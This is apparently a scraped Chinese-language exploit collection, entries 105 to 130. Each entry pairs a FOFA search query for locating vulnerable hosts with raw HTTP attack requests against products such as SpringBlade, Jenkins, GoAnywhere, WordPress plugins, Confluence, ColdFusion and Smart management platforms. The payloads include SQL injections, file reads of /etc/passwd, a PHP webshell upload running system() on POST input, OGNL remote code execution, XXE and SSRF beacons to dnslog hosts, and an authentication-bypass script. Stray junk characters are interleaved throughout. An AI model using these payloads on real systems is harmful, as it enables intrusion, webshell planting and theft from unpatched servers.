* y7 l2 ?4 v8 O3 a9 z! ~Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
6 r7 ^2 p2 F$ L% [1 HReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
2 N" x2 i# X; p( f: u9 v8 M3 b5 iAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

3 ^& a7 h( `( P! U: f7 l0 v- M{
" h& q) U1 j& s' D  r"topicurl":"getSysStatusCfg",
"token":""
( z0 `0 D: A. e% \}
1 A% m& t% S) J# y
: \2 Z( {/ h4 A, G( A105. SpringBlade v3.2.0 export-user SQL 注入
* I1 s5 |: I# R9 O4 r% IFOFA：body="https://bladex.vip"
" T# I* Q  b. J( u9 Q/ lhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

# H; O8 V% S: z" b3 o- ]2 J' {106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
* ~! `. Y( ~# B3 s! Y4 sGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
  e3 B) W7 t7 T. b, rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
, x" c& K- g, T/ O2 ^5 L( f" ~Accept-Encoding: gzip, deflate
2 H1 u6 Z0 q8 B3 C; WAccept-Language: zh-CN,zh;q=0.9
+ b& v, R7 |1 A7 `. tConnection: close
8 S7 D# G, x6 [/ ?3 K( t
$ r1 B3 L9 I" s% |: T
107. SpringBlade tenant/list SQL 注入
( _/ o) ^/ Z* U  K/ DFOFA：body="https://bladex.vip"
9 A: o) C/ L$ Q$ r# X( EGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
  Z, `# x8 S, L% L9 xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
3 m: g2 V* C" r+ U- y/ N7 Q  MConnection: close

& x8 k2 `  J2 c
, F" ?5 |- n% ]0 l7 t8 a108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
0 P; b: Z* r, u( Z: aGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
, ~  [0 C8 u+ X4 J% qHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
& j, I' @7 q2 y: dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

8 ?- I# ^0 D3 [/ Z9 O8 g6 \$ G& G
  P) y, X2 j# u# f3 {109. Jenkins CLI 任意文件读取
. r& i& L6 n( Y- \, h' n: |CVE-2024-23897
1 k3 B0 R! L. e! ?- S( LFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
* U( B. n( Y5 t9 nContent-type: application/octet-stream
/ s( ?4 _2 O0 {7 i# S+ X: ^" O8 E8 ^Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
. s# J8 c, z* s0 R! H. IConnection: keep-alive
5 ~" e7 E6 z) F) D* h/ ~5 VContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
5 u* G. q; K! {9 p4 D& d6 Z1 `+ OHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
# K' @$ _7 p; l* D! H+ `: F6 {Content-Length: 0
9 d5 K& N+ _# e

" w( N' p% m& f& dERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
: e* v5 M# V6 t. W8 Q& L5 v[COMMAND]
# }1 Y" {, ^' }& h! _& V# JLists all the available commands or a detailed description of single command.
! p  h3 ~1 m8 H: ?, g8 s COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
/ H, ^" V$ l2 u5 n% H
# [; ?( k# E2 K7 Q6 M* n
110. Goanywhere MFT 未授权创建管理员
- q3 ]# N# u/ W! z* i  C% [5 v  {CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
. @1 D& G0 \+ P6 x9 W* v1 LHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
/ O+ O/ C- ?0 }# O1 j4 fAccept: */*
Accept-Language: en
6 D6 d% c  U* t3 [. ~0 EAccept-Encoding: gzip


111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
, s7 `  {* }3 }( J4 n0 V# VUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
+ D0 R% M; P' h, o- c0 F# a

112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
5 u2 D' w" _" g3 F) j  y( A1 [FOFA：body="/wp-content/plugins/notificationx"
6 F" W- v# C9 H' t. jPOST /wp-json/notificationx/v1/analytics HTTP/1.1
1 t+ Y4 k( G. v, d) o* ^Host: {{Hostname}}
& n/ s9 p( G+ v* x0 L& {6 U  P) i# tContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
1 }2 m: S7 R( o- x2 p  k
- V: |9 I3 ~+ ?. {- X, B
' t7 V/ q. u: L113. WordPress Automatic 插件任意文件下载和SSRF
' Z, C8 _1 i2 J: N) e* fCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
" V% s- b$ h+ B( ^/ W$ B! U; FGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
! [: ^% n' S7 x1 l$ h0 p* X& H6 RAccept-Encoding: gzip

/ g" ]- {/ e+ ^6 ]7 D* r3 a  E
$ n& Q  \" s! Z. U6 i114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
" Z5 C& g" N) [GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
8 K- Y, E/ Y1 n: EUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
' k6 n' ]; s6 E( _- E$ CConnection: close
  F) x' u8 Z! G. _" u6 X: \4 [

115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
6 n1 r5 V& T+ Z3 f, |5 V8 w) oFOFA: body="/wp-content/themes/bricks/"
$ `! W0 d/ [9 b0 S1 {" O第一步，获取网站的nonce值
GET / HTTP/1.1
Host: x.x.x.x
* C, h; F; K, z3 Q+ e4 uUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
" ~1 n0 g; I" a- P- \8 H7 JConnection: close
Accept-Encoding: gzip
9 s; P" R6 P) _8 \! j. `& K9 \9 R
! k$ O( ], t* v1 k6 M1 R5 I
- g% O6 O; b7 A1 I  c( [# @" k第二步替换nonce值，执行命令
+ I; C9 q" q2 OPOST /wp-json/bricks/v1/render_element HTTP/1.1
% v9 E2 v4 c5 q: s% ]) c: v9 }Host: x.x.x.x
  `' D- Q% E# f' k# dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
/ P6 F: |' g3 u+ H! e& EContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
7 n0 B* y  S( H/ t& H
" t8 b9 F' V9 K, D0 V& A{
"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
' V$ u  M2 M1 n5 y; @    "settings": {
2 B1 T" T6 |0 e% U      "hasLoop": "true",
# s- Z( E/ P. g- g7 r      "query": {
" I' q. _6 c5 F0 y, |        "useQueryEditor": true,
; z' u4 n+ U1 c' s9 i5 \        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
+ Z4 Q8 G6 l, M: e) Z  M( l) {& b" l        "objectType": "post"
      }
    }
# f1 V: C% B3 Q  }
}

4 y: D! t& s& k6 w
9 c) \) o% l2 _# m. h: z116. wordpress js-support-ticket文件上传
% G$ f$ s$ b( tFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
  ?0 e7 q4 [! Z0 P4 h' e* W$ AContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
0 ]! {7 g0 ]. L; [
----------767099171
2 X# U  ?, c) r! }Content-Disposition: form-data; name="action"
  [& J$ t' ~' D- I- w; x4 r$ D. cconfiguration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
# j9 x$ ?5 k9 M% IContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
" K9 o* k/ |! f0 g4 S9 {) _$ zContent-Type: image/png
----------767099171--


117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
  i: W8 u6 p  N. y) y+ K# X$ EFOFA：body="/wp-content/plugins/LayerSlider/"
2 X0 O, Q8 r( S% n5 d) x3 H  l9 bGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
4 L" D; A+ j" \. A% F$ XHost: your-ip
* R# e1 j5 d( Z* `6 F0 H  GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 [1 A9 Q% O/ _( t- I! [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% ~7 b; z: d1 x  S5 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
- R6 l% b  R0 ^+ K; ~. OUpgrade-Insecure-Requests: 1
* Y! }! c4 D. h9 z* u; n
' u9 U+ \' }6 X( r
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
  f  n5 `& Q+ s: U. dCVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
/ J1 e/ F+ A5 ~' M; CCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
( j1 S) N" n. Z1 \* d; s& K6 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
2 f2 q! h& a' }) t; S* jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 ^4 ]) F! a9 t! b+ dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- i+ U* ~3 |8 Q; BAccept-Encoding: gzip, deflate
9 O& E- c" x5 {' bContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
' V1 C, R! c( Q+ h1 J. ?3 kOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
- o7 R7 C. z) a/ y: EUpgrade-Insecure-Requests: 1
% O' s# Q! u4 K/ \; J7 X/ f5 c% ]% HSec-Fetch-Dest: document
) i4 k8 b4 N- l: SSec-Fetch-Mode: navigate
4 _% H& }* `3 W/ Y+ f6 C2 W2 V$ xSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
, e& [5 ~% o4 qTe: trailers
8 N1 ^/ q5 b9 J: R/ D; pConnection: close
5 Z) {9 H( f1 ~3 X- f
8 \: J4 @& P! |* v-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
5 c0 U6 V1 `( F3 E+ NContent-Type: application/octet-stream
) \1 B  A9 R; J! Q: G0 l4 u! |
<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
+ \/ f# T2 |/ S+ w8 G' oContent-Disposition: form-data; name="txt_path"
, g6 T7 F! a+ q# x& |) q) K
/home/src.php
5 s& R+ {( q) j* \-----------------------------13979701222747646634037182887--
8 f( E* v6 K" p% F% q2 J" n
1 V/ r+ b- ~7 c5 X
; c! P& V2 x  ^1 X& u访问/home/src.php

& {% U6 L1 _# y6 V119. 北京百绰智能S20后台sysmanageajax.php sql注入
4 u% d, ^* f& ]1 O. CCVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
$ [/ x  `# F' ?" ePOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
) M8 z; r! `$ c0 T' O: iCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
$ S8 x' ^; q4 s) D2 ]Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# }+ `# T3 h' D4 Q. JContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
: K  o6 l/ Z4 J, b% G3 \5 Z+ }Origin: https://58.18.133.60:8443
7 X' M- G3 ^$ F1 v% [Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
) z$ x! B( _0 a0 l* b! oSec-Fetch-Dest: empty
% G% K, p9 v) _6 M$ YSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
. X  M. q9 q2 T7 i9 E  PX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
& A" w# t' s6 y8 I6 @  Y
" Y# h4 m8 }( ?/ l; z. r0 i/ asrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

% T$ ~: `/ L$ N8 N6 I
- L/ ^3 Z' q3 U! h; `3 G120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
0 z; p6 p$ ^% ?! T, y1 ^FOFA：title="Smart管理平台"
& W, W0 x& U" j  J# c5 FPOST /useratte/web.php? HTTP/1.1
. p1 J4 D: o; w8 I) A% ]Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, A+ L5 g, h. K( t4 {1 Y/ s: p! \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
; H/ u* \- `! p/ F, RContent-Length: 597
4 N' `+ ^' h, r" ZOrigin: https://ip:port
: F8 h5 o* m& m0 f3 _$ z5 ]Referer: https://ip:port/sysmanage/licence.php
' ^9 q; k7 s3 D  D2 R1 XUpgrade-Insecure-Requests: 1
$ Q, c6 a( _9 O6 X8 Z1 a. LSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
. |4 p% A# C# V4 I( y/ u$ dTe: trailers
Connection: close

; p! C0 `4 l/ W  [1 x- `2 Q-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
4 b( n* l8 z4 c+ X2 U! ?8 {! V* qContent-Type: application/octet-stream
+ ~2 x" s- G2 E$ I3 P- g
' a& B: Q: N: f+ M- [<?php phpinfo()?>
% H5 M- [! W6 i-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
6 H& D) i, q7 l& m, ?- w
4 @' M; A2 u* e3 V1
-----------------------------42328904123665875270630079328
  L5 o+ t& E' t! @4 `# gContent-Disposition: form-data; name="1_ck"

1_radhttp
) g7 v6 F! D6 A$ a-----------------------------42328904123665875270630079328
3 B' S5 E' X8 A$ ^2 [Content-Disposition: form-data; name="mode"

5 _  f4 S, J# E$ c0 {7 o* Eimport
-----------------------------42328904123665875270630079328


+ `4 v* g9 T% h/ e5 S9 g) m文件路径/upload/2.php
5 l- u1 i2 u/ v& G
, f5 _" T6 m/ A121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
2 s' @: h# x3 l8 ?1 |( yFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
( a" t; g) e# C2 lUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
* L7 ?2 G' j8 L) L& IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 S5 C2 `" f6 U0 u9 `Accept-Encoding: gzip, deflate
1 f5 V" x0 E3 O- a8 ^1 _Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
9 ~. e* p( i) zContent-Length: 592
. V9 X; P7 B  ]& D7 |" lOrigin: https://192.168.40.130:8443
+ o+ K7 c- T/ m; L* a" w+ sUpgrade-Insecure-Requests: 1
& n8 T( ^0 L4 T# J+ X2 P6 D/ m7 M, uSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
, H- l$ L( m2 o5 H4 _Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
+ X* O/ ~  F6 Z8 {Content-Type: application/octet-stream

% E& d- g( c) S+ H! q<?php phpinfo();?>
-----------------------------42328904123665875270630079328
2 g8 A4 M* c" N9 JContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
# W/ E, ]2 ^1 f( z5 a% e
1_radhttp
9 X- ^8 p& a% R0 z-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
5 c" }2 u9 D! B- E
set
2 S6 B# t" F7 S$ R, u-----------------------------42328904123665875270630079328
. s8 `; o, u* {+ x

boot/web/upload/weblogo/1.php

% R) M. |; a  T( L122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
* h! c1 t) y+ L1 H3 ]! M其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
" X5 C- M- t. z2 B0 B7 GHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
* Z4 {$ K4 v) }6 n3 |0 B3 @6 B! P$ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
$ C+ k2 v4 |3 ^# L8 o/ Q+ p& xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
* ~' B' H5 `9 Z4 ^Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
- O; y' [+ j# m: X0 q4 bSec-Fetch-Site: none
! G9 v4 X+ p$ {: k# n7 ESec-Fetch-User: ?1
Te: trailers
Connection: close

( \: ], f9 k# J
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
. B7 ?/ \: Z* O5 P) V  l% s9 H$ [' PHost: localhost:8090
Accept-Encoding: gzip, deflate, br
; Y0 W# f/ ]6 y: [6 uAccept: */*
. U1 |. a% G5 E, ~Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
2 S/ C& d  o% u  f" u* x' MConnection: close
Content-Type: application/x-www-form-urlencoded
1 m6 T( J6 s9 @; i3 k7 q
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
3 Y) `: W- A! M: o+ U7 g1 d4 _

0 p' l9 p1 s) I2 j: }, p124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
; G0 R6 K3 `( w7 \Accept-Encoding: gzip, deflate, br
0 X0 Y$ E% Y: `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
  W% z  `% J+ k3 a1 P
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
) U, i' `0 N* N  X+ n) M; U8 [# R! J+ `

http://192.168.40.130:8282/Scripts/abcgcg.aspx

$ u3 l- d& A/ O9 V. \; H125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
7 i# E- }. o- {1 I3 Chttps://github.com/watchtowrlabs ... bypass-add-user-poc

2 b9 s9 {' r- a# p; y9 j
使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
% o9 M* y7 K, n- y5 I
9 U; L  N/ G3 T7 x; h
9 \5 Q$ Z* ?' e$ r8 |8 ~1 ^* u% q  j创建好用户后直接登录后台，可以执行系统命令。

) I) ^2 _; R, n% {0 P; [126. Aiohttp 路径遍历
" ?: v8 v& b1 j, F4 u* RFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
; t8 s( ]1 X  wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
" A' M2 M! h  U8 C$ b
3 y7 c0 i& g$ O" T; l/ L! a  v
127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
# a) v' f. S/ |: t0 u' GPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
8 D+ W. Y. s. {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
6 i9 G# v8 s! C' YPurpose: prefetch
; g+ Q, Z( J2 K+ \* R3 g5 B2 LSec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
$ ^1 R# S/ K* p! FContent-Disposition: form-data;name="SystemName"
# Q. }5 _" P$ _8 J: u) ^& ~9 r; d3 l
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain
- c! x/ s. T" e( _
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
  x- f5 H/ v6 U1 {& {& W<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
' j+ {, T" H8 q- ^- S  U5 _]
>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
/ S! C/ y1 w( R, u

) x( ^& V) \9 t: z# @* n
/ `9 \8 J  V- ?, `( T5 _4 G" y128. Adobe ColdFusion 反序列化
( H0 |( ]% ^( D! b+ Y9 `# dCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
1 ~4 Y) I$ g8 n7 U* }& \( LFOFA：app="Adobe-ColdFusion"
& O3 q2 G/ ^1 n/ c0 i! D4 T% qPAYLOAD
6 X+ W5 |0 _! n4 d' \' v) y' ~
129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
! k3 @8 d; |" L( x5 U( EAccept-Encoding: gzip, deflate
Connection: close


  ]! J9 n5 Q* \" V: q# m2 x第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
; X) p' j! f9 ^6 GHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
) C* K! Q1 Z' p$ l$ y2 H) `% G  Duuid: 85f60018-a654-4410-a783-f81cbd5000b9
4 C! \% h0 Z* Q& F

130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
! @! v) d+ Q; A( C+ E. e$ y. ZHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
+ B, s) y+ o! Z& W3 rX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
! a% C8 h6 r; b  ?1 O5 D+ ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
0 t3 |$ Z6 F) x, s+ C3 K
